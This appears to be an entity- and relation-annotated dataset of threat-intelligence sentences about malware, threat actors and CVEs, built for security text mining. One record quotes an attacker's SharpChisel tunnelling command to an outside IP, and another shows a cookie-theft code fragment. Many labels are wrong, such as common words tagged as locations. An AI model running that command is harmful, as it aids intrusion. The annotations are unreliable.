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{"id":2075,"text":"In another video instance, we observed the threat actor submit a LockBit 2.0 sample on Cuckoo sandbox and compare the results with another presumably LockBit 2.0 sample prior to the one submitted in the video.","entities":[{"id":47159,"label":"malware","start_offset":65,"end_offset":76},{"id":47161,"label":"tools","start_offset":87,"end_offset":101},{"id":47160,"label":"malware","start_offset":150,"end_offset":161}],"relations":[],"Comments":[]}
{"id":1682,"text":"Unit 42 has recently been investigating a new malware family called Reaver.","entities":[{"id":46873,"label":"identity","start_offset":0,"end_offset":7},{"id":46874,"label":"malware","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]}
{"id":3088,"text":" They grouped these vulnerabilities under the names \u201cSpectre\u201d (CVE-2017-5753 and CVE-2017-5715) and \u201cMeltdown\u201d (CVE-2017-5754).","entities":[{"id":48151,"label":"vulnerability","start_offset":63,"end_offset":76},{"id":48152,"label":"vulnerability","start_offset":81,"end_offset":94},{"id":48153,"label":"vulnerability","start_offset":112,"end_offset":125},{"id":48154,"label":"vulnerability","start_offset":53,"end_offset":60},{"id":48155,"label":"vulnerability","start_offset":101,"end_offset":109}],"relations":[{"id":388,"from_id":48154,"to_id":48151,"type":"related-to"}],"Comments":[]}
{"id":777,"text":"The anchor element is now actually freed as shown in figure 10.","entities":[],"relations":[],"Comments":[]}
{"id":879,"text":"This check is essentially looking for sandbox systems where the sleep function accelerates analysis.","entities":[],"relations":[],"Comments":[]}
{"id":4380,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[],"relations":[],"Comments":[]}
{"id":12629,"text":"Figure 5. Disabling Windows Defender","entities":[],"relations":[],"Comments":[]}
{"id":194,"text":"This post was substantially updated March 31 to add information on phishing and scam attacks, cybersquatting trends, fake donation websites, DoS attacks on Ukrainian news sites and distribution of malicious binaries.","entities":[{"id":45871,"label":"attack-pattern","start_offset":94,"end_offset":108},{"id":45872,"label":"attack-pattern","start_offset":117,"end_offset":139},{"id":45873,"label":"attack-pattern","start_offset":141,"end_offset":152},{"id":45869,"label":"TIME","start_offset":36,"end_offset":44},{"id":45874,"label":"identity","start_offset":156,"end_offset":176},{"id":45875,"label":"attack-pattern","start_offset":181,"end_offset":215},{"id":45870,"label":"attack-pattern","start_offset":67,"end_offset":92}],"relations":[{"id":127,"from_id":45872,"to_id":45874,"type":"duplicate-of"},{"id":129,"from_id":45875,"to_id":45874,"type":"targets"},{"id":128,"from_id":45873,"to_id":45874,"type":"targets"},{"id":126,"from_id":45871,"to_id":45874,"type":"targets"},{"id":125,"from_id":45870,"to_id":45874,"type":"targets"}],"Comments":[]}
{"id":1369,"text":" First observed by Microsoft on Jan. 13, 2022, WhisperGate malware is computer network attack (CNA) malware aimed at deleting Microsoft Windows Defender and corrupting files on the target.","entities":[{"id":46699,"label":"identity","start_offset":19,"end_offset":29},{"id":46697,"label":"SOFTWARE","start_offset":126,"end_offset":152},{"id":46698,"label":"TIME","start_offset":32,"end_offset":45},{"id":46700,"label":"malware","start_offset":47,"end_offset":58}],"relations":[],"Comments":[]}
{"id":105,"text":"For example, we found that Conti operators use the cloud storage synchronization tool Rclone to upload files to the Mega cloud storage service.","entities":[{"id":377,"label":"malware","start_offset":116,"end_offset":120},{"id":44599,"label":"threat-actor","start_offset":27,"end_offset":42},{"id":44600,"label":"tools","start_offset":86,"end_offset":92},{"id":44601,"label":"SOFTWARE","start_offset":116,"end_offset":142}],"relations":[{"id":1,"from_id":44599,"to_id":44600,"type":"uses"},{"id":2,"from_id":44600,"to_id":44601,"type":"exfiltrates-to"},{"id":3,"from_id":44599,"to_id":44601,"type":"exfiltrates-to"}],"Comments":[]}
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{"id":13670,"text":"Emails with different X-Mailers and headers are likely appended through tools that can confuse scan engines.","entities":[],"relations":[],"Comments":[]}
{"id":1742,"text":"These emails contain malicious links that, when clicked on, lead you to an attacker\u2019s page.","entities":[],"relations":[],"Comments":[]}
{"id":240,"text":"A detailed analysis of these domains revealed that many of them are fake.","entities":[],"relations":[],"Comments":[]}
{"id":8866,"text":"Our investigation shows that the attacker used other tools during the attack.","entities":[],"relations":[],"Comments":[]}
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{"id":5351,"text":"The flash memory is used by these devices to store the operating system, configuration, and all files from the file system.","entities":[],"relations":[],"Comments":[]}
{"id":14026,"text":"One of the previous malware families attributed to APT37 is known as Freenki.","entities":[{"id":47192,"label":"malware","start_offset":69,"end_offset":76},{"id":43453,"label":"threat-actor","start_offset":51,"end_offset":56}],"relations":[],"Comments":[]}
{"id":10803,"text":"     Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":2275,"text":"For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.","entities":[{"id":6771,"label":"malware","start_offset":70,"end_offset":78}],"relations":[],"Comments":[]}
{"id":1022,"text":"In the above advertisement, the seller describes the ability to choose an account under a subdomain (academia, student, me, email, or contact) of the requested domain.","entities":[],"relations":[],"Comments":[]}
{"id":4024,"text":"The usage of the open-source frameworks also allows the group to develop new backdoor variants efficiently.","entities":[],"relations":[],"Comments":[]}
{"id":1223,"text":" An interesting observation is that half of these IAP SDKs implement the send and block SMS functions in separate codes.","entities":[],"relations":[],"Comments":[]}
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{"id":3768,"text":" Our research so far has shown one publicly known sample demonstrating exploitation of CVE-2022-22960 by overwriting the \/usr\/local\/horizon\/scripts\/publishCaCert.hzn file.","entities":[{"id":49600,"label":"vulnerability","start_offset":87,"end_offset":101},{"id":49601,"label":"FILEPATH","start_offset":121,"end_offset":165}],"relations":[{"id":841,"from_id":49601,"to_id":49600,"type":"related-to"}],"Comments":[]}
{"id":8947,"text":"The OS information collection routine gathers the following information:  GUID: (randomly generated guid, stored in \/tmp\/guid) computer name: uname (nodename)","entities":[],"relations":[],"Comments":[]}
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{"id":2268,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[],"relations":[],"Comments":[]}
{"id":2398,"text":"On March 29, 2022, the Spring Cloud Expression Resource Access Vulnerability tracked in CVE-2022-22963 was patched with the release of Spring Cloud Function 3.1.7 and 3.2.3.","entities":[{"id":47468,"label":"TIME","start_offset":3,"end_offset":17},{"id":47470,"label":"vulnerability","start_offset":88,"end_offset":102},{"id":47469,"label":"vulnerability","start_offset":23,"end_offset":76},{"id":47471,"label":"SOFTWARE","start_offset":135,"end_offset":172}],"relations":[{"id":332,"from_id":47471,"to_id":47470,"type":"has"}],"Comments":[]}
{"id":11944,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":8114,"text":"We were able to download five exploits from the C&C server during our investigation.","entities":[],"relations":[],"Comments":[]}
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{"id":3756,"text":"Deobfuscating these scripts reveals they are versions of the known bot family \u201cStealth Shellbot\u201d that reaches out to an IRC server to listen for commands to perform.","entities":[{"id":49589,"label":"malware","start_offset":79,"end_offset":95}],"relations":[],"Comments":[]}
{"id":5735,"text":"Also, read about a data breach from IoT company Wyze that exposed information of 2.4 million customers.","entities":[],"relations":[],"Comments":[]}
{"id":237,"text":" We manually analyzed a sample set of these cybersquatting domains.","entities":[{"id":45782,"label":"attack-pattern","start_offset":44,"end_offset":58}],"relations":[],"Comments":[]}
{"id":4132,"text":"Exploitation","entities":[],"relations":[],"Comments":[]}
{"id":3202,"text":"The Python runtime is usually a ZIP file with all required executables, as well as the DLL and Python libraries necessary for running Python scripts on machines where Python is not installed.","entities":[{"id":48329,"label":"SOFTWARE","start_offset":4,"end_offset":10},{"id":48330,"label":"SOFTWARE","start_offset":95,"end_offset":101},{"id":48331,"label":"SOFTWARE","start_offset":134,"end_offset":140},{"id":48332,"label":"SOFTWARE","start_offset":167,"end_offset":173}],"relations":[],"Comments":[]}
{"id":5869,"text":"They could be patriotic hackers, they could just be guns for hire or cyber guns for hire, so to speak.","entities":[{"id":18062,"label":"identity","start_offset":44,"end_offset":48}],"relations":[],"Comments":[]}
{"id":675,"text":" As you can see in this example, attackers try to convince users to disable the security mechanisms added by Microsoft using social engineering, convincing the user to enable content for them to be able to see the full document.","entities":[{"id":45797,"label":"attack-pattern","start_offset":125,"end_offset":143},{"id":44822,"label":"identity","start_offset":109,"end_offset":118}],"relations":[],"Comments":[]}
{"id":6252,"text":"After a few seconds the video tells the user they need to download an update for Flash player, which is the initial dropper executable.","entities":[{"id":19378,"label":"TIME","start_offset":6,"end_offset":19}],"relations":[],"Comments":[]}
{"id":10700,"text":"Protect your web server against potential harm To mitigate the potential risk of attacks from open-source software, software composition analysis (SCA) has become an effective approach.","entities":[{"id":32671,"label":"attack-pattern","start_offset":99,"end_offset":105}],"relations":[],"Comments":[]}
{"id":10223,"text":"The group also performed widespread brute force attacks to steal credentials such as those of corporate email accounts, as evidenced by network probes we attribute to Pawn Storm and the loose way the actor abused compromised email accounts in malware and in sending spear-phishing emails.","entities":[{"id":31231,"label":"attack-pattern","start_offset":36,"end_offset":47},{"id":31233,"label":"location","start_offset":178,"end_offset":181},{"id":31234,"label":"location","start_offset":192,"end_offset":195},{"id":31235,"label":"location","start_offset":251,"end_offset":254},{"id":31236,"label":"location","start_offset":266,"end_offset":271},{"id":31237,"label":"attack-pattern","start_offset":272,"end_offset":280}],"relations":[],"Comments":[]}
{"id":9153,"text":"Lurk then launched a new URL pattern that served payloads round-the-clock, eschewing pre-filtering of IP address locations in favor of targeting global IP addresses.","entities":[],"relations":[],"Comments":[]}
{"id":7624,"text":"Some recent cases we observed even had the Excel file directly attached to the emails.","entities":[],"relations":[],"Comments":[]}
{"id":1354,"text":" CVE-2021-32648 Vulnerability WhisperGate Malware Family Mitigation Actions Hunting for WhisperGate Conclusion Additional Resources","entities":[{"id":46685,"label":"malware","start_offset":30,"end_offset":41},{"id":46684,"label":"vulnerability","start_offset":1,"end_offset":15},{"id":46686,"label":"malware","start_offset":88,"end_offset":99}],"relations":[],"Comments":[]}
{"id":4410,"text":"Once the attacker has logged in to the victim\u2019s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.","entities":[{"id":50207,"label":"malware","start_offset":57,"end_offset":68}],"relations":[],"Comments":[]}
{"id":14421,"text":"      Tags  Cloud | APT & Targeted Attacks | Cyber Crime | Expert Perspective | Cyber Threats","entities":[],"relations":[],"Comments":[]}
{"id":4011,"text":"Organizations need to have a deeper understanding of regional and national policies to ensure the safety of the supply chain.","entities":[],"relations":[],"Comments":[]}
{"id":2238,"text":"The malware will periodically poll the C2 server and determine if any commands are received.","entities":[],"relations":[],"Comments":[]}
{"id":13057,"text":"However, a closer investigation can reveal suspicious behavior that exposes their malicious intent.","entities":[],"relations":[],"Comments":[]}
{"id":6532,"text":"Research","entities":[],"relations":[],"Comments":[]}
{"id":13279,"text":"The image and table below illustrate TClient\u2019s encrypted configuration that we decrypted (via Python code):  Figure 10.","entities":[{"id":41372,"label":"location","start_offset":10,"end_offset":13},{"id":41373,"label":"malware","start_offset":37,"end_offset":44}],"relations":[],"Comments":[]}
{"id":3897,"text":"The fact sheet comes after numerous ransomware attacks on key critical infrastructures in the US and abroad, including the attack on Colonial Pipeline by DarkSide.","entities":[{"id":49749,"label":"location","start_offset":94,"end_offset":96},{"id":49751,"label":"threat-actor","start_offset":154,"end_offset":162},{"id":49750,"label":"identity","start_offset":133,"end_offset":150}],"relations":[{"id":864,"from_id":49751,"to_id":49750,"type":"targets"}],"Comments":[]}
{"id":1666,"text":"Upon receiving the initial packet, the server uses the seed value and password to generate the client\u2019s session key.","entities":[],"relations":[],"Comments":[]}
{"id":413,"text":"And unlike spam or phishing, these attacks also don\u2019t require any lapse in vigilance by the user: they can happen simply by going to websites users know and trust.","entities":[{"id":46111,"label":"attack-pattern","start_offset":11,"end_offset":15},{"id":46112,"label":"attack-pattern","start_offset":19,"end_offset":27}],"relations":[],"Comments":[]}
{"id":13009,"text":" Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.","entities":[],"relations":[],"Comments":[]}
{"id":5145,"text":"I'm going to drive to the store to get ketchup.","entities":[],"relations":[],"Comments":[]}
{"id":10844,"text":"A snippet of the file harvesting code      MSG_TRIG_ALARM_COLLECT","entities":[],"relations":[],"Comments":[]}
{"id":3821,"text":"Get Architecture {Variable}.user.info Get User Information {Variable}.work","entities":[],"relations":[],"Comments":[]}
{"id":4133,"text":"After successfully exploiting the vulnerable system, the threat actor will use multiple hacking tools to discover and compromise machines on the victim\u2019s intranet.","entities":[],"relations":[],"Comments":[]}
{"id":9934,"text":" Figure 2. APT33\u2019s usage of a private VPN network APT33 used its private VPN network to access websites of penetration testing companies, webmail, websites on vulnerabilities, and websites related to cryptocurrencies, as well as to read hacker blogs and forums.","entities":[{"id":30330,"label":"threat-actor","start_offset":11,"end_offset":16},{"id":30332,"label":"location","start_offset":176,"end_offset":179},{"id":30333,"label":"location","start_offset":250,"end_offset":253}],"relations":[],"Comments":[]}
{"id":5214,"text":"We sent RPTS discovery probes to the entire IPv4 space (except for the no-scan subnets) and received answers from 643 hosts (excluding obvious honeypots).","entities":[],"relations":[],"Comments":[]}
{"id":13331,"text":" This is not the first time that APT41 activities have been scrutinized \u2014 the group has been active for some time.","entities":[{"id":41494,"label":"location","start_offset":23,"end_offset":27},{"id":41495,"label":"threat-actor","start_offset":33,"end_offset":38},{"id":41496,"label":"location","start_offset":109,"end_offset":113}],"relations":[],"Comments":[]}
{"id":12284,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.","entities":[],"relations":[],"Comments":[]}
{"id":2704,"text":"On Saturday, Microsoft disclosed a critical vulnerability in Internet Explorer, CVE-2014-1776, affecting Internet Explorer versions 6 through 11.","entities":[{"id":47941,"label":"TIME","start_offset":3,"end_offset":11},{"id":47942,"label":"identity","start_offset":13,"end_offset":22},{"id":47944,"label":"vulnerability","start_offset":80,"end_offset":93},{"id":47945,"label":"SOFTWARE","start_offset":105,"end_offset":133},{"id":47943,"label":"SOFTWARE","start_offset":61,"end_offset":78}],"relations":[{"id":368,"from_id":47944,"to_id":47945,"type":"has"}],"Comments":[]}
{"id":3160,"text":"Better together Trend Micro and AWS have been working closely together for over a decade now, and this latest announcement represents another exciting stage in the journey.","entities":[{"id":48278,"label":"identity","start_offset":16,"end_offset":27},{"id":48279,"label":"identity","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
{"id":5424,"text":"The APT group behind this malware has learned from its VPNFilter campaigns and continues to attack IoT devices such as routers.","entities":[{"id":51431,"label":"malware","start_offset":55,"end_offset":64}],"relations":[],"Comments":[]}
{"id":220,"text":"We noticed an overall increase in the detection of websites that host phishing and scam URLs on domains using Ukraine-related TLDs such as gov.ua and com.ua, or containing popular Ukraine-related keywords such as \"ukraine\" and \"ukrainian\".","entities":[{"id":45915,"label":"attack-pattern","start_offset":70,"end_offset":78},{"id":45918,"label":"location","start_offset":214,"end_offset":221},{"id":45919,"label":"location","start_offset":110,"end_offset":117}],"relations":[],"Comments":[]}
{"id":3770,"text":"  Another proof of concept code sample is additionally available targeting the following 2 filepaths: \/opt\/vmware\/certproxy\/bin\/certproxyService.sh \/usr\/local\/horizon\/scripts\/diagnostic\/getPasswordExpiry.hzn  ","entities":[{"id":49603,"label":"FILEPATH","start_offset":148,"end_offset":207},{"id":49602,"label":"FILEPATH","start_offset":102,"end_offset":147}],"relations":[],"Comments":[]}
{"id":1236,"text":" The good news is this technique might be partially mitigated in Android KitKat (version 4.4), where Google introduced a security enhancement around SMS security.","entities":[{"id":46619,"label":"identity","start_offset":101,"end_offset":107},{"id":46620,"label":"SOFTWARE","start_offset":65,"end_offset":93}],"relations":[],"Comments":[]}
{"id":5187,"text":"Core Language Year Developed Fast-DDS eProsima EMEA Apache License 2.0 C++ 2014 Cyclone DDS Eclipse Foundation project, driven by ADLINK EMEA Eclipse Public License 2.0 and Eclipse Development License 1.0 C 2011 OpenDDS OCI NABU Custom C++ 2005 Connext DDS RTI NABU Extensions are open source C++ 2005 (NDDS \u2013 1995) CoreDX DDS TwinOaks NABU Not open source C 2009 Gurum DDS GurumNetworks APAC Not open source C    Table 1.","entities":[],"relations":[],"Comments":[]}
{"id":4476,"text":"We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.","entities":[{"id":50275,"label":"threat-actor","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]}
{"id":5245,"text":" Sphinx reportedly uses the watering hole technique via social media sites to deliver its payloads \u2014 mainly a customized version of njRAT.","entities":[{"id":51279,"label":"campaign","start_offset":1,"end_offset":7},{"id":51280,"label":"malware","start_offset":132,"end_offset":137}],"relations":[{"id":1073,"from_id":51279,"to_id":51280,"type":"uses"}],"Comments":[]}
{"id":3877,"text":"In addition, comprehensive security solutions can be used to protect organizations from attacks.","entities":[],"relations":[],"Comments":[]}
{"id":7091,"text":"Encrypted Communication   D3DES  https:\/\/gitlab.gnome.org\/GNOME\/gtk-vnc\/-\/blob\/v0.1.0\/src\/d3des.c  Compression  QuickLZ  https:\/\/github.com\/robottwo\/quicklz   Table 4.","entities":[{"id":22208,"label":"URL","start_offset":121,"end_offset":156}],"relations":[],"Comments":[]}
{"id":11545,"text":"Unlike many hack-for-hire actors that use open source phishing frameworks like Evilginx or GoPhish, this group uses a custom phishing kit that utilizes Selenium, a self described 'suite of tools for automating web browsers.'","entities":[{"id":35376,"label":"location","start_offset":7,"end_offset":11},{"id":35377,"label":"location","start_offset":12,"end_offset":16},{"id":35378,"label":"attack-pattern","start_offset":47,"end_offset":53},{"id":35379,"label":"attack-pattern","start_offset":54,"end_offset":62},{"id":35381,"label":"attack-pattern","start_offset":125,"end_offset":133}],"relations":[],"Comments":[]}
{"id":12394,"text":"We terminated 1,628 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":10310,"text":" Troj.Win32.TRX.XXPE50FFF039  faf8db358e5d3dbe2eb9968d8b19f595f45991d938427124161f5ed45ac958d5  email.exe","entities":[{"id":31455,"label":"SHA2","start_offset":30,"end_offset":94}],"relations":[],"Comments":[]}
{"id":2195,"text":"These files were added to the end of the Trojan executable, as seen below.","entities":[],"relations":[],"Comments":[]}
{"id":13136,"text":"While buyers usually aim for lead times of weeks or months, the questionnaires themselves can get stuck in a bottleneck if forwarded first to IT service partners.","entities":[],"relations":[],"Comments":[]}
{"id":14082,"text":"      Figure 10.","entities":[],"relations":[],"Comments":[]}
{"id":4066,"text":"Open a command shell for command execution      ","entities":[],"relations":[],"Comments":[]}
{"id":6485,"text":"We then see the threat actor again attempting to use SharpChisel several times using the following command: C:\\programdata\\SharpChisel.exe  client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999  powershell.exe C:\\programdata\\SharpChisel.exe client 87.236.212[.]184:8080 R:8888:127.0.0.1:9999","entities":[],"relations":[],"Comments":[]}
{"id":7122,"text":"However, we continue seeing samples that feature the \u201colder\u201d behaviors, which suggests that different groups \u2014 or possibly subgroups of Iron Tiger \u2014 are using this malware family.","entities":[{"id":22278,"label":"threat-actor","start_offset":136,"end_offset":146},{"id":22279,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]}
{"id":905,"text":"HTTP POST request containing unique SHA256 key  PClock2 scans the file system of the victim in order to identify files that are to be encrypted.","entities":[],"relations":[],"Comments":[]}
{"id":5522,"text":"A new type of data breach","entities":[],"relations":[],"Comments":[]}
{"id":12788,"text":"This campaign, first observed in 2010, is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor, which the operators enhanced and created other tools from.","entities":[{"id":39814,"label":"location","start_offset":5,"end_offset":13},{"id":39817,"label":"location","start_offset":89,"end_offset":94},{"id":39818,"label":"attack-pattern","start_offset":133,"end_offset":139},{"id":39819,"label":"malware","start_offset":152,"end_offset":159},{"id":39820,"label":"location","start_offset":199,"end_offset":202}],"relations":[],"Comments":[]}
{"id":2678,"text":"Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities.","entities":[],"relations":[],"Comments":[]}
{"id":8786,"text":"We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":5508,"text":"       Tags  Malware | APT & Targeted Attacks | Endpoints | Research |","entities":[],"relations":[],"Comments":[]}
{"id":4231,"text":"Excerpt of the valid country list We noted that it does both client-side and server-side IP filtering, showing that the attacker has improved its infrastructure.","entities":[],"relations":[],"Comments":[]}
{"id":1568,"text":" Attack Overview","entities":[],"relations":[],"Comments":[]}
{"id":2983,"text":"You can generate the password for them and retain it as the \u201cadministrator\u201d if you want for monitoring.","entities":[],"relations":[],"Comments":[]}
{"id":13342,"text":"The threat actors use a scheduled task command to spread and infect a victim's environment.","entities":[{"id":41523,"label":"attack-pattern","start_offset":24,"end_offset":38},{"id":41524,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
{"id":13098,"text":"The job of the ROS-I Consortium is to prioritize these capabilities, offer code quality standards and provide technical support and training.","entities":[],"relations":[],"Comments":[]}
{"id":4686,"text":"{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }","entities":[],"relations":[],"Comments":[]}
{"id":2727,"text":"At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW).","entities":[{"id":45676,"label":"identity","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]}
{"id":849,"text":"In a kernel APC attack, the attacker gives a legitimate program\u2019s place in line to the attacker\u2019s code.","entities":[{"id":44891,"label":"attack-pattern","start_offset":5,"end_offset":22}],"relations":[],"Comments":[]}
{"id":4069,"text":"It is used to translate between objects in code and objects representation in MongoDB.","entities":[{"id":49907,"label":"SOFTWARE","start_offset":78,"end_offset":85}],"relations":[],"Comments":[]}
{"id":13918,"text":"In total, more than 2 TB of stolen data is currently being hosted on DarkSide sites, and 100% of victims\u2019 stolen files are leaked.","entities":[{"id":48740,"label":"malware","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]}
{"id":5500,"text":"Their malware\u2019s resemblance to that of Patchwork\u2019s is also notable.","entities":[{"id":51508,"label":"threat-actor","start_offset":39,"end_offset":48}],"relations":[],"Comments":[]}
{"id":951,"text":"SMS Theft  ","entities":[{"id":44910,"label":"attack-pattern","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":4321,"text":"Examining the encrypted document containing macros After entering the password mentioned in the message, a document containing macros is displayed on screen.","entities":[],"relations":[],"Comments":[]}
{"id":1859,"text":"     Figure 25. Deploying malicious batch scripts to other endpoints     The deployed batch script has the following commands:  Disable Windows Update and Microsoft Defender       Figure 26. Disable Microsoft defense services      Prevents safeboot execution of security products       Figure 27. Prevent security products\u2019 execution      Create new administrator account       Figure 28. Create new account      Add the AutoStart mechanism for the AvosLocker executable (update.exe)       Figure 29. Add Autostart for ransomware executable      Disables legal notice caption       Figure 30. Disable legal notice      Set safeboot with networking and disables Windows Error Recovery and reboot       Figure 31. Setting and disabling network and specific Windows functions     Conclusion","entities":[{"id":46990,"label":"malware","start_offset":449,"end_offset":459},{"id":46991,"label":"FILEPATH","start_offset":472,"end_offset":482},{"id":46987,"label":"tools","start_offset":136,"end_offset":150},{"id":46988,"label":"tools","start_offset":155,"end_offset":173}],"relations":[],"Comments":[]}
{"id":5267,"text":"Beyond its effects, AnubisSpy also highlights the significance of proactively securing mobile devices, particularly if they\u2019re on BYOD programs and used to access sensitive data.","entities":[{"id":51304,"label":"malware","start_offset":20,"end_offset":29}],"relations":[],"Comments":[]}
{"id":11126,"text":"In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel\u2014targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet\u2014disrupting or blocking a site or a service entirely.","entities":[{"id":33989,"label":"location","start_offset":56,"end_offset":59},{"id":33990,"label":"attack-pattern","start_offset":89,"end_offset":97},{"id":33991,"label":"location","start_offset":108,"end_offset":111},{"id":33992,"label":"location","start_offset":205,"end_offset":208},{"id":33993,"label":"location","start_offset":214,"end_offset":220},{"id":33994,"label":"location","start_offset":230,"end_offset":234},{"id":33995,"label":"location","start_offset":247,"end_offset":253},{"id":33996,"label":"location","start_offset":308,"end_offset":311}],"relations":[],"Comments":[]}
{"id":3749,"text":" The list below details the exploits Unit 42 observed targeting this vulnerability that we deemed worth highlighting.","entities":[{"id":49576,"label":"identity","start_offset":37,"end_offset":44}],"relations":[],"Comments":[]}
{"id":5430,"text":"It is also important to ensure that only the services that absolutely need to be exposed to the internet are exposed.","entities":[],"relations":[],"Comments":[]}
{"id":501,"text":" Please mark, I'm not a robot!  ","entities":[],"relations":[],"Comments":[]}
{"id":627,"text":" Palo Alto Networks is documenting our prevention capabilities with regard to this threat in the Palo Alto Networks Protections for Petya Ransomware blog post.","entities":[{"id":44809,"label":"identity","start_offset":1,"end_offset":19},{"id":44810,"label":"identity","start_offset":97,"end_offset":115},{"id":44811,"label":"malware","start_offset":132,"end_offset":148}],"relations":[],"Comments":[]}
{"id":3236,"text":"The scheduled tasks created by BIOPASS RAT   The BIOPASS RAT malware loads a Python script, \u201conline.txt\u201d that will open an HTTP server that listens on one of the following port numbers: 43990, 43992, 53990, 33990, 33890, 48990, 12880, 22880, 32880, 42880, 52880, or 62880.","entities":[{"id":48362,"label":"FILEPATH","start_offset":93,"end_offset":103},{"id":48361,"label":"SOFTWARE","start_offset":77,"end_offset":83},{"id":9862,"label":"malware","start_offset":31,"end_offset":42},{"id":9863,"label":"malware","start_offset":49,"end_offset":60}],"relations":[],"Comments":[]}
{"id":12073,"text":"The attackers embed javascript into phishing pages that notify them when the page has been loaded.","entities":[{"id":37369,"label":"attack-pattern","start_offset":36,"end_offset":44},{"id":37370,"label":"location","start_offset":63,"end_offset":67},{"id":37371,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
{"id":10214,"text":"We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.","entities":[{"id":31198,"label":"location","start_offset":3,"end_offset":6},{"id":31199,"label":"location","start_offset":52,"end_offset":55},{"id":31200,"label":"location","start_offset":79,"end_offset":82},{"id":31201,"label":"location","start_offset":120,"end_offset":123},{"id":31202,"label":"malware","start_offset":124,"end_offset":128},{"id":31203,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
{"id":4147,"text":"It can read predefined configurations and make the host in the intranet available to users from the internet.","entities":[],"relations":[],"Comments":[]}
{"id":1699,"text":"You\u2019ve collected an array of tools (malware), built up your infrastructure (command and control (C2) servers) and you have a process to make money off your hard work.","entities":[],"relations":[],"Comments":[]}
{"id":225,"text":"  Among these phishing and scam URLs, we found a targeted phishing attack.","entities":[{"id":751,"label":"attack-pattern","start_offset":14,"end_offset":22},{"id":44645,"label":"attack-pattern","start_offset":27,"end_offset":36},{"id":44646,"label":"attack-pattern","start_offset":49,"end_offset":73}],"relations":[],"Comments":[]}
{"id":10749,"text":"Based on their pdb strings, they\u2019re both components of another REDBALDKNIGHT-related threat, XXMM (TROJ_KVNDM), a downloader Trojan that can also act as a first-stage backdoor with its capability to open a shell.","entities":[{"id":32848,"label":"threat-actor","start_offset":63,"end_offset":76},{"id":32849,"label":"malware","start_offset":93,"end_offset":97},{"id":32850,"label":"location","start_offset":137,"end_offset":140},{"id":32852,"label":"location","start_offset":206,"end_offset":211}],"relations":[],"Comments":[]}
{"id":2915,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":14252,"text":"These are typical techniques PlugX and Winnti malware variants use to communicate between compromised machines and their C&C servers.","entities":[{"id":48446,"label":"malware","start_offset":29,"end_offset":35},{"id":48447,"label":"threat-actor","start_offset":39,"end_offset":46}],"relations":[],"Comments":[]}
{"id":4470,"text":"Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.","entities":[{"id":50260,"label":"threat-actor","start_offset":63,"end_offset":72}],"relations":[],"Comments":[]}
{"id":14220,"text":"The payload is a file named loadoerf.ini that contains decryption, run, and code injection functions.","entities":[{"id":48249,"label":"FILEPATH","start_offset":28,"end_offset":40},{"id":48250,"label":"attack-pattern","start_offset":76,"end_offset":90}],"relations":[{"id":394,"from_id":48249,"to_id":48250,"type":"uses"}],"Comments":[]}
{"id":11778,"text":"We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":36310,"label":"location","start_offset":10,"end_offset":14},{"id":36311,"label":"location","start_offset":89,"end_offset":95},{"id":36312,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]}
{"id":4373,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.","entities":[{"id":50174,"label":"identity","start_offset":11,"end_offset":14},{"id":50178,"label":"identity","start_offset":162,"end_offset":180},{"id":50175,"label":"identity","start_offset":55,"end_offset":61},{"id":50176,"label":"threat-actor","start_offset":132,"end_offset":137},{"id":50177,"label":"threat-actor","start_offset":142,"end_offset":157}],"relations":[{"id":924,"from_id":50177,"to_id":50178,"type":"attributed-to"},{"id":925,"from_id":50176,"to_id":50177,"type":"duplicate-of"}],"Comments":[]}
{"id":1231,"text":"On the existing Android platforms it is very easy for any installed apps to send, intercept, or even forward SMS messages in background without any user knowledge or interaction.","entities":[{"id":46612,"label":"SOFTWARE","start_offset":16,"end_offset":23}],"relations":[],"Comments":[]}
{"id":4327,"text":"Stage 1 is a simple download & execute program.","entities":[],"relations":[],"Comments":[]}
